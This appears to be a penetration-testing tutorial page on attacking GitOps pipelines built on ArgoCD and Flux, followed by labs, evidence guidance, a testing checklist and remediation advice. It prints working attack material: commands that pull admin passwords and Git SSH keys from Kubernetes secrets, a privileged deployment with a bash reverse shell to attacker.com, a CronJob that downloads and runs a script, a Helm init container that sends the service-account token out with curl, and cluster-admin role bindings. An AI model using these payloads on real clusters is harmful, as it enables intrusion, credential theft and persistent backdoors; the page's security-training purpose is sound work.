10 min read

Advanced

GitOps & ArgoCD Attacks

GitOps makes Git the source of truth for infrastructure. Compromise the Git repo, and ArgoCD/Flux will automatically deploy your malicious changes to production Kubernetes clusters.

Automatic Deployment = Automatic Compromise

GitOps tools continuously sync from Git. A malicious commit to the right branch gets deployed to production within minutes - no manual approval needed.

GitOps Attack Flow

💀
1. Compromise Git
Push malicious YAML
→
🔄
2. ArgoCD Syncs
Detects changes
→
☸️
3. K8s Deployed
Backdoor in prod!

GitOps Sync Loop & Attack Vectors

ArgoCD or Flux reconciles Git into the cluster and reads status back, so the loop closes on itself. The manifest, the controller and the cluster each give an attacker a separate edge off it.

Scroll sideways to see the whole diagram

ArgoCD Exploitation

Default Credentials

ArgoCD Default Access
# ArgoCD default admin password is auto-generated
# But stored in a Kubernetes secret!

# If you have cluster access:
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath="{.data.password}" | base64 -d

# Default username: admin
# Access UI at: https://argocd.target.com

# Via CLI
argocd login argocd.target.com --username admin --password <password>

# Many orgs never rotate this password or disable the admin account

Application Poisoning

Deploying Malicious Application
# If you have ArgoCD access (UI or CLI):

# 1. Create malicious app pointing to your repo
argocd app create backdoor \
  --repo https://github.com/attacker/malicious-k8s \
  --path manifests \
  --dest-server https://kubernetes.default.svc \
  --dest-namespace default

# 2. Sync it
argocd app sync backdoor

# Your malicious manifests now deployed to cluster!

# Or modify existing app to point to different branch/path
argocd app set existing-app --path malicious-manifests

Repository Credential Theft

Stealing Git Credentials from ArgoCD
# ArgoCD stores repo credentials as K8s secrets
# Type: argocd.argoproj.io/secret-type: repository

# List repository secrets
kubectl -n argocd get secrets -l argocd.argoproj.io/secret-type=repository

# Decode credentials
kubectl -n argocd get secret repo-XXXXX -o yaml
# Look for: password, sshPrivateKey, tlsClientCertData

# Decode base64
kubectl -n argocd get secret repo-XXXXX -o jsonpath="{.data.password}" | base64 -d
kubectl -n argocd get secret repo-XXXXX -o jsonpath="{.data.sshPrivateKey}" | base64 -d

# These creds let you push to the Git repos ArgoCD syncs from!

Manifest Injection

If you can push to the GitOps repo, inject malicious Kubernetes manifests:

Malicious Deployment Manifest
# backdoor-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: maintenance  # Innocent looking name
  namespace: default
spec:
  replicas: 1
  selector:
    matchLabels:
      app: maintenance
  template:
    spec:
      containers:
      - name: maintenance
        image: attacker/backdoor:latest  # Your image
        command: ["/bin/sh", "-c"]
        args:
          - |
            # Reverse shell
            bash -i >& /dev/tcp/attacker.com/4444 0>&1
        securityContext:
          privileged: true  # Full host access
        volumeMounts:
        - name: host
          mountPath: /host
      volumes:
      - name: host
        hostPath:
          path: /
      hostNetwork: true
      hostPID: true
CronJob for Persistence
# backdoor-cronjob.yaml
apiVersion: batch/v1
kind: CronJob
metadata:
  name: log-cleanup  # Looks like maintenance task
spec:
  schedule: "*/5 * * * *"  # Every 5 minutes
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: cleanup
            image: alpine
            command: ["/bin/sh", "-c"]
            args:
              - |
                wget -q -O- https://attacker.com/beacon.sh | sh
          restartPolicy: OnFailure
          serviceAccountName: default

Flux CD Exploitation

Flux CD Attack Vectors
# Flux uses GitRepository and Kustomization CRDs

# Find Flux sources
kubectl get gitrepositories -A
kubectl get helmrepositories -A

# Check what's being deployed
kubectl get kustomizations -A
kubectl get helmreleases -A

# Flux stores Git credentials as secrets
kubectl -n flux-system get secrets

# Decode SSH key
kubectl -n flux-system get secret flux-system -o jsonpath="{.data.identity}" | base64 -d

# If you compromise the Git repo, Flux auto-deploys changes
# Push malicious Kustomization:

# kustomization.yaml
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
  - deployment.yaml
  - backdoor.yaml  # Your malicious manifest

Helm Chart Poisoning

Backdooring Helm Charts
# GitOps often deploys Helm charts
# Poison the chart values or templates

# values.yaml modification - add sidecar container
extraContainers:
  - name: metrics  # Innocent name
    image: attacker/backdoor:latest
    command: ["/backdoor"]

# Or modify templates/deployment.yaml
# Add init container that runs first:
initContainers:
  - name: init
    image: alpine
    command: ["/bin/sh", "-c"]
    args:
      - |
        # Exfil secrets before main app starts
        cat /var/run/secrets/kubernetes.io/serviceaccount/token | \
          curl -X POST -d @- https://attacker.com/token

# Post-install hook (runs after chart install)
# templates/post-install.yaml
apiVersion: batch/v1
kind: Job
metadata:
  annotations:
    "helm.sh/hook": post-install
spec:
  template:
    spec:
      containers:
      - name: post-install
        image: alpine
        command: ["wget", "-q", "-O-", "https://attacker.com/beacon"]

RBAC Escalation via GitOps

Deploying Privilege Escalation
# Deploy ClusterRoleBinding giving your ServiceAccount cluster-admin
# clusterrolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: system-admin-binding  # Looks legitimate
subjects:
- kind: ServiceAccount
  name: default
  namespace: attacker-namespace
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

# Or create a new ServiceAccount with admin:
# serviceaccount.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: monitoring-admin
  namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: monitoring-admin-binding
subjects:
- kind: ServiceAccount
  name: monitoring-admin
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

Enumeration

GitOps Recon Commands
# Find ArgoCD
kubectl get namespaces | grep -i argo
kubectl get pods -n argocd
kubectl get svc -n argocd

# Find Flux
kubectl get namespaces | grep -i flux
kubectl get pods -n flux-system

# ArgoCD applications
kubectl get applications -n argocd
kubectl get applications -n argocd -o yaml  # See repo URLs

# Check what repos are configured
kubectl get secrets -n argocd -l argocd.argoproj.io/secret-type=repository

# ArgoCD RBAC - who can do what
kubectl get configmap argocd-rbac-cm -n argocd -o yaml

# Find GitOps-managed resources (ArgoCD labels)
kubectl get all -A -l app.kubernetes.io/instance

# Check for auto-sync (most dangerous)
kubectl get applications -n argocd -o jsonpath='{range .items[*]}{.metadata.name}: {.spec.syncPolicy.automated}{"
"}{end}'

Tools

Real-World: ArgoCD Path Traversal (CVE-2022-24348)

A critical path traversal vulnerability in ArgoCD allowed attackers who could create or update Applications to read arbitrary Kubernetes secrets in any namespace. CVSS 7.7. Lesson: GitOps controllers are high-value targets — treat them as tier-0 infrastructure.

GitOps Attack Labs

Practice ArgoCD and Flux exploitation in a safe Kubernetes environment.

ArgoCD Manifest Injection Custom Lab medium
Deploy ArgoCD in a local Kind/Minikube clusterCreate an application syncing from a Git repositoryModify the Git repo to inject a privileged container manifestWatch ArgoCD sync the malicious workload automaticallyImplement OPA Gatekeeper policies to block privileged containers
ArgoCD RBAC Exploitation Custom Lab hard
Enumerate ArgoCD API with a low-privilege user tokenExploit overly permissive RBAC to access other projects' appsExtract Kubernetes secrets via application manifest manipulationImplement project-scoped RBAC and namespace restrictions

📋 Framework Alignment

OWASP CI/CD: CICD-SEC-1 (Insufficient Flow Control), CICD-SEC-8 (Ungoverned Usage of 3rd Party Services) | MITRE ATT&CK: T1609 (Container Administration Command), T1610 (Deploy Container) | CIS Kubernetes Benchmark: 5.1 (RBAC and Service Accounts), 5.2 (Pod Security)

Evidence to Capture

A GitOps finding is a claim that desired state changed and the controller applied it. Both halves matter: a commit that never synced is a review note, not a compromise.

Application object: The Application, Kustomization or HelmRelease name and namespace, with source repo URL, target revision and path it reconciles from.

Source commit: The commit SHA in the GitOps repository that produced the current desired state, plus its author and timestamp. This is the artefact the controller trusted.

Sync operation record: Operation ID, the identity that triggered it, the start and finish timestamps and the result, plus whether syncPolicy.automated was set on the application.

Rendered diff: What was applied rather than what was written: the live object against the desired object, showing the specific container, volume mount or binding that changed.

Controller identity and version: ArgoCD or Flux version for CVE mapping, and the ServiceAccount and cluster role the controller runs as, because that is the real privilege of any sync.

RBAC and project scope: The argocd-rbac-cm policy, the AppProject source and destination restrictions, and the type and scope of the repository credential secret.

Likely False Positives

GitOps alerts usually come from a commit. Whether it deployed is a separate question with a checkable answer.

  • Automated sync is off: Without a sync policy, the change sits in a diff until someone applies it. Report the drift and the missing gate, not a deployment.
  • Project scope blocks the app: An AppProject whose sourceRepos and destinations do not include the malicious repo or namespace prevents the application from ever syncing it.
  • Admission policy rejects the manifest: A Kyverno, Gatekeeper or Pod Security policy that denies privileged containers means the object never reached the API as written. That is the control doing its job.
  • Credential is a read-only deploy key: A deploy key that cannot push gives read access to the manifests, not write access. Adjust the impact rather than the finding.
  • Commit never reconciled: A commit on a branch no application tracks has not been deployed, even if it contains a perfect backdoor manifest worth quoting.
  • Controller not cluster-wide: A namespace-scoped ArgoCD install cannot deploy into other namespaces regardless of what the manifest asks for, which caps the blast radius at the namespace.

Testing Checklist

Controller posture

  • ☐ Controller version recorded for CVE matching
  • ☐ Whether the install is namespace-scoped or cluster-wide
  • ☐ Initial admin secret rotated and admin disabled after bootstrap
  • ☐ ArgoCD RBAC policy read in full
  • ☐ SSO or local accounts enumerated with their project roles
  • ☐ Whether the API is reachable anonymously

Application and source

  • ☐ Every application enumerated with source repo, revision and path
  • ☐ Automated sync and self-heal flags recorded per application
  • ☐ AppProject source and destination restrictions read
  • ☐ Repository credentials enumerated by type and scope
  • ☐ Helm values and chart versions traced to their source
  • ☐ Drift detected between live and desired state for each app

Manifest and sync

  • ☐ Privileged, hostNetwork and hostPath workloads searched across synced namespaces
  • ☐ ClusterRoleBinding and RoleBinding objects created by sync enumerated
  • ☐ Service account tokens and projected volume changes reviewed
  • ☐ Sync operation history read for unexpected actors and times
  • ☐ Sync windows and rollback behaviour confirmed
  • ☐ Admission policies covering the target namespaces listed

Remediation

GitOps control plane

  • • Scope every application with an AppProject that names its permitted sourceRepos and destinations, so a compromised repository cannot deploy into another team namespace.
  • • Keep automated sync for development and require a signed commit or an approval for production, so a push is not automatically a deploy.
  • • Give the controller the narrowest cluster role that reconciles its namespaces, and keep repository credentials read-only unless a workflow genuinely pushes.
  • • Disable the local admin account after bootstrap, put the UI behind SSO, and enable the audit log so sync initiators are attributable.

Admission and detection

  • • Enforce pod security at admission: no privileged containers, no hostPath, no host namespaces from a GitOps-managed repo.
  • • Alert when a sync creates a ClusterRoleBinding, a privileged workload or a new ServiceAccount in a system namespace, because that is the escalation shape.
  • • Watch the GitOps repository itself: reviews and branch protection on the branch that production tracks, with commit signing for the release branch.
  • • Record sync history centrally and retain it beyond the controller default, since the incident review tends to happen weeks after the sync.

CWE References: CWE-863, CWE-269, CWE-829